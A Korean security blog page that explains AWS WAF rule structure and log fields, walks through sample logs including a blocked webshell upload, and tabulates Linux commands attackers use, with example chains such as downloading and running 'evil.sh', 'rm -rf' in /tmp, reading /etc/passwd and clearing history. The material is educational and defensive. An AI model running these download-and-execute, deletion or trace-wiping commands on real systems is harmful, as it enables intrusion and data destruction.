https://eatitstory.tistory.com/113

 

웹 모의해킹 환경구성

Kali Linux란 무엇인가?Kali Linux는 침투 테스트(Penetration Testing)와 디지털 포렌식에 최적화된 리눅스 배포판이다. 보안 전문가, 해커, 윤리적 해커(ethical hacker)들이 주로 사용하는 운영체제이다.Debian

eatitstory.tistory.com

 

https://eatitstory.tistory.com/116

 

웹 모의해킹 실습(Command Injection & Brute Force)

✅ 실습 개요본 실습은 DVWA를 기반으로 웹 애플리케이션에서 발생할 수 있는 대표적인 취약점인 Command Injection과 Brute Force 공격을 이해하고 직접 실행해보는 것을 목표로 한다.보안 레벨을 Low, Med

eatitstory.tistory.com

 

https://eatitstory.tistory.com/117

 

웹 모의해킹 실습(CSRF & File Inclusion)

🔒 CSRF 취약점 실습 정리1. CSRF란?CSRF(Cross-Site Request Forgery)는 웹 애플리케이션의 보안 취약점 중 하나로,사용자의 인증 상태를 악용해 공격자가 의도하지 않은 요청을 보내게 만드는 공격입니다.

eatitstory.tistory.com

 

https://eatitstory.tistory.com/135

 

웹 모의해킹 실습(File upload & Insecure CAPCHA)

파일 업로드 취약점웹 애플리케이션이 사용자의 파일 업로드를 허용할 때, 업로드된 파일의 형식, 내용, 경로 검증이 미흡하면 공격자는 악성 스크립트를 포함한 파일(PHP, ASP 등)을 업로드하여

eatitstory.tistory.com

 

https://eatitstory.tistory.com/136

 

웹 모의해킹 실습(SQL Injecion & Blind SQL injection)

✅ SQL Injection 취약점의 개념SQL Injection(구문 삽입 공격)은웹 애플리케이션이 사용자 입력값을 제대로 검증하지 않고 데이터베이스 쿼리에 그대로 포함시켜 실행하는 취약점입니다.이로 인해 공

eatitstory.tistory.com

 

https://eatitstory.tistory.com/137

 

웹 모의해킹 실습(Weak Session IDs & DOM Based XSS)

1. Weak Session IDs 정의웹 애플리케이션에서 사용자의 상태를 유지하기 위해 사용하는 Session ID는 사용자를 식별하는 핵심 열쇠다. 그런데 이 세션 아이디가 예측 가능하거나 너무 단순하다면, 공격

eatitstory.tistory.com

 

https://eatitstory.tistory.com/141

 

웹 모의해킹 실습(Reflected XSS & Stored XSS)

1. Reflected XSS란?Reflected XSS (Reflected Cross-Site Scripting)는 웹 애플리케이션에서 사용자가 입력한 데이터를 서버가 제대로 검증하지 않고 바로 반영하는 보안 취약점이다. 공격자는 악성 스크립트를

eatitstory.tistory.com

https://eatitstory.tistory.com/144

 

웹 모의해킹 실습_med(Command Injection & Brute Force)

취약점 설명: Brute Force(무차별 대입 공격)Brute Force 공격은 인증 시스템의 취약점을 이용하여 가능한 모든 아이디와 비밀번호 조합을 반복적으로 시도해 계정을 탈취하는 공격 기법이다. 보안이

eatitstory.tistory.com

 

http://eatitstory.tistory.com/145

 

웹 모의해킹 실습_med(File Upload & Insecure CAPTCHA)

취약점 설명: File UploadFile Upload 취약점은 웹 애플리케이션에서 제공하는 파일 업로드 기능이 업로드된 파일의 확장자, MIME 타입, 파일 내용 등에 대해 충분한 검증을 수행하지 않을 때 발생한다.

eatitstory.tistory.com

 

AWS WAF의 JSON 규칙은 몇 가지 핵심적인 용어로 구성되어 있습니다. 이 용어들을 'IF... THEN...' (만약 ~하면, ~하라) 구조로 이해하면 쉽습니다.

가장 중요한 용어들을 구조에 따라 정리해 드리겠습니다.


## 1. Rule (규칙) - 최상위 구조

규칙은 WAF의 가장 큰 단위입니다. 웹 ACL(Web Access Control List)은 여러 규칙들의 모음입니다.

  • Name: 규칙의 고유한 이름입니다. (예: Block-Bad-Bots)
  • Priority: 규칙의 실행 순서를 결정하는 숫자입니다. 숫자가 낮을수록 먼저 실행됩니다. 예를 들어, Priority가 0인 규칙이 10인 규칙보다 먼저 검사됩니다.
  • Statement: 이 규칙이 무엇을 검사할 것인지 정의하는 "IF" 조건문입니다.
  • Action: Statement의 조건이 참(True)일 때 무엇을 할지 결정하는 "THEN" 동작입니다.
  • VisibilityConfig: 이 규칙이 탐지되었을 때 CloudWatch 메트릭에 어떻게 표시하고 로그를 남길지 설정합니다.
JSON
 
{
  "Name": "My-Custom-Rule",
  "Priority": 10,
  "Statement": { ... },
  "Action": { ... },
  "VisibilityConfig": { ... }
}

## 2. Statement (조건문) - "IF"

Statement는 규칙의 핵심 두뇌로, 어떤 트래픽을 찾을지 정의하는 부분입니다. 여러 조건을 조합할 수도 있습니다.

### A. 개별 조건문 (어떤 공격을 찾을까?)

  • ByteMatchStatement: 특정 문자열이나 바이트 순서가 있는지 검사합니다. (예: Body에 <script> 문자열이 포함되어 있는지)
  • SqliMatchStatement: SQL Injection 공격 패턴이 있는지 검사합니다.
  • XssMatchStatement: Cross-Site Scripting (XSS) 공격 패턴이 있는지 검사합니다.
  • SizeConstraintStatement: 요청의 특정 부분(예: Body)이 지정된 크기보다 크거나 작은지 검사합니다.
  • GeoMatchStatement: 요청이 특정 국가에서 왔는지 검사합니다. (예: CountryCodes: ["CN", "RU"])
  • IPSetReferenceStatement: 미리 정의해 둔 IP 주소 집합(IP Set)에서 요청이 왔는지 검사합니다.
  • RuleGroupReferenceStatement: AWS가 미리 만들어 둔 관리형 규칙 그룹(예: AWSManagedRulesCommonRuleSet)을 가져와 사용합니다.

### B. 논리 조건문 (조건들을 어떻게 조합할까?)

  • AndStatement: 내부에 있는 모든 조건이 참이어야 전체가 참이 됩니다. (A AND B)
  • OrStatement: 내부에 있는 조건 중 하나라도 참이면 전체가 참이 됩니다. (A OR B)
  • NotStatement: 내부의 조건이 참이면 거짓으로, 거짓이면 참으로 결과를 뒤집습니다. (NOT A)

## 3. FieldToMatch (검사할 대상) - "WHERE"

대부분의 개별 조건문 안에는 FieldToMatch가 들어갑니다. 이것은 요청의 **'어디'**를 검사할지 지정하는 역할을 합니다.

  • Body: 요청의 Body (기본 8KB)
  • UriPath: URL의 경로 부분 (예: /login.php)
  • QueryString: URL에서 ? 뒷부분 (예: id=1234)
  • Method: HTTP 메서드 (예: GET, POST)
  • SingleHeader: 특정 헤더 하나를 지정하여 검사합니다. (예: User-Agent 헤더)

예시: Body에서 XSS 공격 패턴을 찾는 Statement

JSON
 
"Statement": {
  "XssMatchStatement": {
    "FieldToMatch": {
      "Body": {}
    },
    "TextTransformations": [...]
  }
}

## 4. Action (수행할 동작) - "THEN"

Statement 조건이 참일 때 수행할 최종 동작입니다.

  • Block: 요청을 차단하고, 클라이언트에게 403 Forbidden 응답을 보냅니다.
  • Allow: 요청을 허용하고, 더 낮은 우선순위의 다른 규칙들을 검사하지 않습니다. (예외 처리 시 사용)
  • Count: 요청을 차단하지는 않고 탐지 횟수만 계산합니다. 모니터링하거나 다른 규칙과 조합할 때 사용합니다.
  • Captcha / Challenge: 봇인지 확인하기 위해 클라이언트에게 CAPTCHA나 JavaScript 챌린지를 보냅니다.

 

 

로그

예시: COUNT 규칙이 동작한 WAF 로그

JSON
 
{
  "timestamp": 1757395200000,
  "webaclId": "arn:aws:wafv2:ap-northeast-2:123456789012:regional/webacl/My-WebACL/...",
  "httpRequest": {
    "clientIp": "10.20.30.40",
    "country": "DE",
    "headers": [
      {
        "name": "Host",
        "value": "example.com"
      },
      {
        "name": "User-Agent",
        "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"
      }
    ],
    "uri": "/",
    "args": "",
    "httpMethod": "GET"
  },
  "action": "ALLOW",
  "ruleGroupList": [
    {
      "ruleGroupId": "AWS#AWSManagedRulesAmazonIpReputationList",
      "terminatingRule": null,
      "nonTerminatingMatchingRules": [
        {
          "ruleId": "AWSManagedIPDDoSList",
          "action": "COUNT",
          "ruleMatchDetails": null
        }
      ],
      "excludedRules": null
    },
    {
      "ruleGroupId": "AWS#AWSManagedRulesCommonRuleSet",
      "terminatingRule": null,
      "nonTerminatingMatchingRules": [],
      "excludedRules": null
    }
  ],
  "labels": [
    {
      "name": "awswaf:managed:aws:amazon-ip-list:AWSManagedIPDDoSList"
    }
  ],
  "responseCodeSent": 200
}

## 로그 해설

### 1. 기본 정보 (최종 결론)

  • "action": "ALLOW": 이 요청에 대한 WAF의 **최종 결정은 '허용'**이었습니다. 어떤 규칙도 이 요청을 막지 않았습니다.

### 2. httpRequest (원본 요청)

  • 독일(country: "DE")의 10.20.30.40 IP에서 파이어폭스 브라우저로 메인 페이지(/)에 접속하는 지극히 정상적인 요청입니다.

### 3. ruleGroupList (규칙 그룹 처리 내역)

  • AWS#AWSManagedRulesCommonRuleSet 그룹:
    • terminatingRule이 null이고 nonTerminatingMatchingRules가 비어있습니다. 즉, 이 그룹의 어떤 규칙과도 일치하지 않았습니다.
  • AWS#AWSManagedRulesAmazonIpReputationList 그룹 (⭐핵심⭐):
    • terminatingRule이 null입니다. 즉, 이 그룹 안에 요청을 BLOCK 시키는 규칙은 없었습니다.
    • nonTerminatingMatchingRules: 이 부분이 바로 **nonTerminatingMatchingRules**의 역할입니다. 이 규칙 그룹에는 BLOCK이나 ALLOW처럼 요청을 중단시키는 규칙은 없었지만(terminatingRule: null), 동작이 COUNT로 설정된 AWSManagedIPDDoSList 규칙과 일치했다는 것을 보여줍니다.
      • 의미: "이 IP(10.20.30.40)는 과거 DDoS 공격 이력이 있으니 일단 기록(COUNT)은 해두지만, 이것만으로는 차단하지 않고 다음 규칙 검사를 계속 진행해" 라는 뜻입니다.

### 4. labels (적용된 레이블)

  • 요청이 최종적으로 허용되었음에도 불구하고, COUNT 규칙에 의해 'DDoS 관련 IP'라는 꼬리표(awswaf:managed:aws:amazon-ip-list:AWSManagedIPDDoSList)가 붙었습니다.
  • 분석가는 SIEM에서 이 레이블을 검색하여 "우리 사이트에는 위험 IP 목록에 있는 사용자가 하루에 몇 명이나 들어올까?" 와 같은 통계를 낼 수 있습니다.

## 이야기로 요약

"2025년 9월 9일, 독일(DE)의 한 IP(10.20.30.40)가 Firefox 브라우저로 메인 페이지(/)에 정상적인 GET 요청을 보냈습니다. 이 IP는 AWS의 DDoS 공격 이력 목록(AWSManagedIPDDoSList)에 포함되어 있었기 때문에, WAF는 이 사실을 기록(nonTerminatingMatchingRules)하고 꼬리표(label)를 붙였습니다. 하지만 이 규칙의 동작은 COUNT였고 다른 차단 규칙에 걸리지 않았으므로, 요청은 **최종적으로 허용(ALLOW)**되었습니다."

 

더보기

추가로 파일 업로드 취약점을 악용하여 웹쉘을 올리려는 공격 로그 예시를 보여드리겠습니다.

이는 공격자가 서버에 영구적인 백도어(Backdoor)를 설치하려는 매우 위험한 시도입니다.


## 예시: 웹쉘 업로드 시도 공격 로그

JSON
 
{
  "timestamp": 1757398800000,
  "webaclId": "arn:aws:wafv2:ap-northeast-2:123456789012:regional/webacl/My-WebACL/...",
  "httpRequest": {
    "clientIp": "185.92.220.50",
    "country": "NL",
    "headers": [
      {
        "name": "Host",
        "value": "example.com"
      },
      {
        "name": "User-Agent",
        "value": "python-requests/2.25.1"
      },
      {
        "name": "Content-Type",
        "value": "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
      }
    ],
    "uri": "/board/upload.php",
    "args": "",
    "httpMethod": "POST"
  },
  "action": "BLOCK",
  "ruleGroupList": [
    {
      "ruleGroupId": "AWS#AWSManagedRulesPHPRuleSet",
      "terminatingRule": {
        "ruleId": "PHP_GenericUpload_FILENAME",
        "action": "BLOCK",
        "ruleMatchDetails": null
      },
      "nonTerminatingMatchingRules": [],
      "excludedRules": null
    }
  ],
  "labels": [
    {
      "name": "awswaf:managed:aws:php-rule-set:PHP_GenericUpload_FILENAME"
    }
  ],
  "responseCodeSent": 403
}

## 로그 해설

  • action: "BLOCK"
    • 이 요청은 WAF에 의해 최종적으로 차단되었습니다.
  • httpRequest:
    • 네덜란드(NL)의 185.92.220.50 IP에서 /board/upload.php 경로로 POST 요청이 들어왔습니다.
    • Content-Type이 multipart/form-data인 것으로 보아, 파일 업로드를 시도했음을 알 수 있습니다.
    • User-Agent가 python-requests인 것은 자동화된 스크립트를 사용했음을 의미합니다.
  • ruleGroupList:
    • 이 요청은 AWSManagedRulesPHPRuleSet이라는 PHP 특화 규칙 그룹에 의해 검사되었습니다.
    • 이 그룹 내에서 요청을 중단시킨 결정적인 규칙(terminatingRule)은 PHP_GenericUpload_FILENAME입니다.
    • PHP_GenericUpload_FILENAME 규칙의 역할: 이 규칙은 파일 업로드 시, 파일 이름에 .php, .phtml과 같은 실행 가능한 확장자가 포함되어 있거나, shell.php.jpg처럼 확장자를 속이려는 패턴이 있는지 검사합니다.

## 공격 시나리오 상세 분석

공격자는 이미지나 문서 파일만 업로드할 수 있도록 만들어진 게시판의 파일 업로드 기능에 파일 업로드 취약점이 존재한다고 의심하고 있습니다.

공격자는 이 취약점을 이용해 shell.php와 같은 웹쉘(Webshell) 파일을 서버에 올리려고 시도합니다. 웹 서버는 보통 이미지 파일(.jpg, .png)은 실행하지 않고 보여주기만 하지만, .php 파일은 실행하여 그 결과를 보여줍니다.

만약 이 웹쉘 업로드가 성공한다면, 공격자는 브라우저로 http://example.com/uploads/shell.php에 접속하기만 해도 서버의 모든 명령어를 실행할 수 있게 됩니다.

WAF는 Content-Type은 파일 업로드인데, 파일 이름에 실행 가능한 확장자(.php)가 포함된 것을 보고, "이미지 파일로 위장한 트로이 목마(웹쉘)다!"라고 판단하여 요청을 차단한 것입니다.


## 이야기로 요약

"2025년 9월 9일, 네덜란드(NL)의 한 IP가 자동화된 파이썬 스크립트를 이용해 /board/upload.php 경로로 파일을 업로드하려고 시도했습니다. AWS WAF는 PHP 규칙 그룹을 통해 이 요청을 검사했고, 업로드하려는 파일의 이름이 웹쉘로 의심되는 위험한 패턴(예: shell.php.jpg)을 포함하고 있음을 발견하여, 이 요청을 즉시 **차단(BLOCK)**했습니다."


로그 보는 법

## 최상위 필드 (Top-Level Fields)

로그 전체의 개요를 나타내는 최상위 정보입니다.

  • timestamp: 요청이 처리된 시간 (밀리초 단위). 침해 사고 발생 시각을 특정하는 데 사용됩니다.
  • webaclId: 요청을 검사한 웹 ACL(Web Access Control List)의 고유 ID입니다.
  • action: 이 요청에 대한 최종 처리 결과입니다. 모든 규칙 검사가 끝난 후의 최종 결정을 의미합니다. (BLOCK, ALLOW, COUNT)
  • httpSourceName: 트래픽이 발생한 소스의 이름입니다 (예: 연동된 CloudFront 배포판 이름).
  • responseCodeSent: WAF가 클라이언트에게 보낸 HTTP 상태 코드입니다. (예: BLOCK 시 403)

## httpRequest 객체 (요청 원본 정보)

사용자가 보낸 원본 HTTP 요청에 대한 모든 정보를 담고 있습니다.

  • clientIp: 요청을 보낸 사용자의 Public IP 주소.
  • country: IP 주소를 기반으로 식별된 국가 코드 (예: KR, US).
  • headers: 요청에 포함된 모든 HTTP 헤더의 목록. User-Agent, Referer 등을 확인할 수 있습니다.
  • uri: URL의 경로 부분입니다 (예: /login.php).
  • args: URL의 쿼리 스트링(Query String) 부분입니다 ( ? 뒷부분).
  • httpMethod: 요청 방식 (GET, POST, PUT 등).
  • requestBodySize: 요청 Body의 크기(바이트).

## ruleGroupList 객체 (규칙 그룹 처리 내역)

이 요청이 어떤 규칙 그룹들에 의해 어떻게 평가받았는지 보여주는 상세 기록입니다.

  • ruleGroupId: 평가된 규칙 그룹의 이름입니다. (예: AWS#AWSManagedRulesCommonRuleSet)
  • terminatingRule: 요청을 BLOCK 또는 ALLOW 시킨 결정적인 규칙의 정보입니다. 이 필드에 값이 있다면, 해당 규칙에서 요청 처리가 중단된 것입니다.
  • nonTerminatingMatchingRules: 동작이 COUNT로 설정되어 매칭은 되었지만, 요청을 중단시키지는 않은 규칙들의 목록입니다. IP 평판 규칙 등이 여기에 자주 기록됩니다.
  • excludedRules: 평가에서 제외하도록 설정한 규칙의 목록입니다.

## terminatingRule 객체 (결정적 규칙 정보)

ruleGroupList 내부에 있으며, 요청을 멈춘 규칙의 상세 정보입니다.

  • ruleId: 요청을 차단하거나 허용한 특정 규칙의 이름입니다. (예: NoUserAgent_HEADER)
  • action: 해당 규칙에 설정된 동작입니다. (BLOCK 또는 ALLOW)

## nonTerminatingMatchingRules 객체 (COUNT 규칙 정보)

ruleGroupList 내부에 있으며, 요청을 통과시킨 COUNT 규칙의 정보입니다.

  • ruleId: 매칭된 COUNT 규칙의 이름입니다. (예: AWSManagedIPDDoSList)
  • action: 이 목록에 있는 규칙의 동작은 항상 COUNT입니다.

## labels 객체 (적용된 레이블)

규칙에 매칭된 요청에 부착되는 '꼬리표(Label)' 정보입니다.

  • name: 적용된 레이블의 전체 이름입니다. 어떤 규칙 그룹의 어떤 규칙이 동작했는지 명확하게 보여줍니다. (예: awswaf:managed:aws:core-rule-set:NoUserAgent_Header) SIEM에서 특정 공격 유형을 검색하고 통계를 내는 데 매우 유용합니다.
 
 
 

ruleGroupId는 AWS가 미리 만들어 제공하는 **관리형 규칙 그룹(Managed Rule Group)**의 이름입니다. 이 규칙 그룹들은 특정 유형의 공격을 막기 위해 AWS 보안 전문가들이 만든 규칙들의 묶음입니다.

주요 규칙 그룹들과 각각의 역할을 설명해 드리겠습니다.


## 1. AWSManagedRulesCommonRuleSet (공통 규칙 세트)

가장 기본적이고 필수적인 규칙 그룹입니다. OWASP Top 10에 해당하는 광범위하고 일반적인 웹 공격을 차단합니다. 저희가 지금까지 분석한 로그의 상당수가 이 그룹에 포함된 규칙들이었습니다.

  • 주요 탐지 항목:
    • 봇/스캐너: NoUserAgent_HEADER
    • 크기 제한: SizeRestrictions_BODY, SizeRestrictions_QUERYSTRING
    • 민감 경로 접근: ExploitablePaths_URIPATH (예: /.env, /phpunit/...)
    • 위험 확장자 접근: RestrictedExtensions_URIPATH (예: .bak, .sql)

## 2. AWSManagedRulesKnownBadInputsRuleSet (알려진 악성 입력 규칙 세트)

Log4j, Struts 등 널리 알려진 특정 소프트웨어의 취약점을 직접 노리는 공격 페이로드를 탐지하는 데 특화되어 있습니다.

  • 주요 탐지 항목:
    • Log4Shell 공격: 페이로드에 ${jndi:ldap...} 와 같은 특정 공격 코드가 포함된 경우
    • Apache Struts 등 다른 유명 프레임워크의 알려진 RCE 공격 패턴

## 3. AWSManagedRulesAmazonIpReputationList (Amazon IP 평판 규칙 세트)

요청의 내용이 아닌, 요청을 보낸 출발지 IP의 평판을 보고 차단합니다. AWS의 위협 인텔리전스를 통해 봇넷, 스팸, 스캐너 등으로 식별된 IP 목록을 기반으로 동작합니다.

  • 주요 탐지 항목:
    • DDoS 공격 이력 IP: AWSManagedIPDDoSList
    • 익명 프록시(Anonymous Proxy) 등 악용 가능성이 높은 IP

## 4. AWSManagedRulesSQLiRuleSet (SQL Injection 규칙 세트)

이름 그대로, SQL Injection 공격을 탐지하는 데 모든 역량을 집중한 전문 규칙 그룹입니다. CommonRuleSet보다 더 정교하고 많은 SQLi 공격 패턴을 탐지합니다.

  • 주요 탐지 항목:
    • 블라인드(Blind) SQLi, 에러 기반(Error-based) SQLi 등 다양한 SQLi 기법
    • ' or 1=1--, UNION SELECT 등 고전적인 공격 구문

## 5. AWSManagedRulesLinuxRuleSet (Linux 규칙 세트)

Linux 서버를 대상으로 하는 공격을 막는 데 특화되어 있습니다.

  • 주요 탐지 항목:
    • LFI/Path Traversal: LFI_URIPATH 규칙을 통해 /etc/passwd 와 같은 리눅스 시스템 파일에 접근하려는 시도
    • 명령어 삽입(Command Injection): wget, curl, rm -rf 등 리눅스 쉘 명령어를 웹 요청에 삽입하려는 시도

이 외에도 WindowsRuleSet, PHPRuleSet 등 특정 기술에 특화된 다양한 규칙 그룹들이 있습니다. 이 그룹들을 조합하여 다층적인 방어 전략을 구축하는 것이 WAF 운영의 핵심입니다.

 
 

'Security > 취약점' 카테고리의 다른 글

쉘 명령어  (0) 2025.09.09
xmlrpc.php 공격 정리  (1) 2025.08.15
phpunit 원격코드 실행 취약점(CVE-2017-9841)  (0) 2025.08.12

## 공격에 사용되는 핵심 리눅스 쉘 명령어

### 1. 파일 및 디렉토리 조작

명령어 전체 이름 공격에서의 역할
cd Change Directory 작업 위치 이동: 공격자는 악성 파일을 다운로드하거나 생성하기 위해, 보통 쓰기 권한이 있는 /tmp, /var/run 같은 임시 디렉토리로 이동합니다.
rm Remove 파일 및 디렉토리 삭제: -rf 옵션과 함께 사용하여 흔적을 지우거나(rm -rf /tmp/*), 경쟁 악성코드를 제거하는 등 파일을 삭제할 때 사용합니다.
ls List 파일 목록 확인: 서버의 파일 구조를 파악하고, 웹 소스코드나 설정 파일 등 주요 타겟의 위치를 찾기 위해 사용합니다.
cat Concatenate 파일 내용 확인: cat /etc/passwd (시스템 계정 정보), cat config.php (DB 접속 정보) 등 민감한 설정 파일의 내용을 화면에 출력하여 정보를 탈취합니다.
Sheets로 내보내기

### 2. 파일 다운로드 및 네트워크

명령어 전체 이름 공격에서의 역할
wget Web Get 악성코드 다운로드: 공격자의 서버(C&C 서버)에 있는 악성코드(Sakura.sh, jaws 등)를 감염된 서버로 다운로드하는 가장 핵심적인 명령어입니다.
curl cURL 다용도 데이터 전송: wget과 유사하게 악성코드를 다운로드하거나, 외부로 서버의 정보를 유출하는 등 다양한 네트워크 통신에 사용됩니다.
Sheets로 내보내기

### 3. 명령어 실행 및 권한 변경

명령어 전체 이름 공격에서의 역할
sh Shell 스크립트 실행: wget으로 다운로드한 악성 쉘 스크립트 파일(Sakura.sh 등)을 실행하여, 본격적인 악성 행위를 시작하게 만듭니다.
chmod Change Mode 파일 권한 변경: 다운로드한 파일에 실행 권한이 없는 경우, chmod 777 또는 chmod +x 명령어로 파일에 실행 권한을 부여하여 악성코드를 실행 가능한 상태로 만듭니다.
Sheets로 내보내기

### 4. 정보 수집 및 흔적 제거

명령어 전체 이름 공격에서의 역할
uname -a Unix Name 시스템 정보 수집: 공격 대상 서버의 커널 버전, 아키텍처 등 시스템 정보를 확인하여, 어떤 종류의 악성코드가 가장 잘 동작할지 파악합니다.
whoami, id Who Am I 사용자 정보 확인: 현재 자신이 어떤 사용자 계정 권한으로 침투했는지 확인합니다. 만약 일반 사용자라면, 권한 상승(Privilege Escalation) 공격을 추가로 시도합니다.
history -c History 명령어 기록 삭제: 공격자가 서버에서 실행했던 모든 명령어 기록을 지워, 침해 사고 분석 시 자신의 흔적을 찾기 어렵게 만듭니다.
Sheets로 내보내기

## 명령어 연결 기호 (Command Chaining)

공격자들은 이 명령어들을 그냥 하나씩 실행하지 않고, 아래와 같은 연결 기호를 사용해 한 줄의 명령으로 여러 작업을 동시에 수행합니다.

  • ; (세미콜론): 앞선 명령의 성공/실패 여부와 상관없이 다음 명령을 실행합니다.
    • 예: cd /tmp; rm -rf * (tmp로 이동하고, 성공 여부와 관계없이 모든 파일을 삭제하라)
  • && (AND): 앞선 명령이 성공했을 경우에만 다음 명령을 실행합니다.
    • 예: wget evil.sh && sh evil.sh (다운로드가 성공했을 때만, 스크립트를 실행하라)
  • || (OR): 앞선 명령이 실패했을 경우에만 다음 명령을 실행합니다.
    • 예: cd /tmp || cd /var/run (tmp로 이동을 시도하고, 만약 실패하면 /var/run으로 이동하라)

 

## 왜 리눅스 명령어인가?

  1. 압도적인 서버 점유율: 현재 전 세계 웹 서버의 대부분은 Ubuntu, CentOS, Debian 등 리눅스 기반의 운영체제(OS) 위에서 동작합니다. 공격자들은 공격 성공률을 높이기 위해 가장 널리 쓰이는 환경을 기본 목표로 삼습니다.
  2. 표준화된 명령어: cd, rm 등은 거의 모든 리눅스/유닉스 시스템에 기본적으로 포함된 표준 명령어입니다. 따라서 공격자는 서버의 종류와 상관없이 이 명령어들이 존재할 것이라고 확신하고 공격 스크립트를 만들 수 있습니다.

## 윈도우 서버의 경우는?

만약 공격 대상이 윈도우 서버(Windows Server)라면, 공격자는 완전히 다른 종류의 명령어를 사용합니다. 리눅스의 sh나 bash 쉘 대신, 윈도우의 **cmd.exe**나 더 강력한 **PowerShell**을 이용한 공격을 시도합니다.

리눅스 명령어 윈도우 명령어 (cmd / PowerShell)
ls dir
cat type
rm del / Remove-Item
wget Invoke-WebRequest (PowerShell) 또는 certutil

 

 

리눅스가 서버 시장을 장악한 이유는 크게 비용, 성능과 안정성, 그리고 오픈소스의 유연성이라는 세 가지 핵심 요소 때문입니다.


## 1. 비용: 압도적인 가격 경쟁력 💰

가장 큰 이유 중 하나는 무료라는 점입니다. 리눅스 커널과 그 생태계를 구성하는 대부분의 소프트웨어는 오픈소스 라이선스에 따라 무료로 사용할 수 있습니다.

  • 리눅스: 운영체제(OS) 자체에 대한 라이선스 비용이 없습니다.
  • 윈도우 서버: OS 라이선스 비용뿐만 아니라, 서버에 접속하는 사용자나 기기 수에 따라 추가적인 라이선스(CAL) 비용이 발생할 수 있습니다.

수백, 수천 대의 서버를 운영하는 기업 입장에서는 이 비용 차이가 엄청나기 때문에, 특별한 이유(예: .NET 프레임워크 사용)가 없는 한 리눅스를 선택하는 것이 경제적으로 훨씬 유리합니다.


## 2. 성능과 안정성: 가볍고 튼튼함 ⚙️

리눅스는 서버 운영에 최적화된 가볍고 안정적인 구조를 가지고 있습니다.

  • 가벼운 성능: 리눅스 서버는 그래픽 사용자 인터페이스(GUI) 없이 **커맨드 라인(CLI)**만으로 모든 작업을 수행할 수 있습니다. 이는 최소한의 메모리(RAM)와 CPU 자원만 사용하므로, 남는 자원을 모두 웹 서비스나 데이터베이스 같은 실제 애플리케이션에 집중시킬 수 있습니다.
  • 높은 안정성: 리눅스는 "한번 켜두면 몇 년은 재부팅할 필요가 없다"는 말이 있을 정도로 매우 안정적입니다. 24시간 365일 중단 없이 운영되어야 하는 서버 환경에 가장 적합한 특징입니다.

## 3. 오픈소스의 유연성과 자유 🎨

소스 코드가 공개되어 있다는 점은 기업에게 강력한 장점을 제공합니다.

  • 자유로운 맞춤화(Customization): 누구나 소스 코드를 보고 수정할 수 있으므로, 우리 회사 서비스에 맞게 OS의 특정 기능을 빼거나, 성능을 최적화하거나, 새로운 기능을 추가하는 등 자유로운 맞춤화가 가능합니다. 이는 소스 코드가 닫혀있는 윈도우에서는 불가능한 일입니다.
  • 강력한 생태계: 전 세계 수많은 개발자들이 참여하는 거대한 커뮤니티가 존재합니다. 덕분에 보안 취약점이 발견되면 매우 빠르게 패치가 이루어지며, 웹 서버(Apache, Nginx), 데이터베이스(MySQL), 프로그래밍 언어(PHP, Python) 등 서버 운영에 필요한 거의 모든 소프트웨어를 무료로 사용할 수 있는 강력한 생태계가 구축되어 있습니다.

이러한 이유들이 복합적으로 작용하여, 특히 웹 서버와 클라우드 컴퓨팅 시대가 열리면서 리눅스는 서버 시장의 표준으로 자리 잡게 되었습니다.

'Security > 취약점' 카테고리의 다른 글

AWSWAF  (0) 2025.09.09
xmlrpc.php 공격 정리  (1) 2025.08.15
phpunit 원격코드 실행 취약점(CVE-2017-9841)  (0) 2025.08.12

+ Recent posts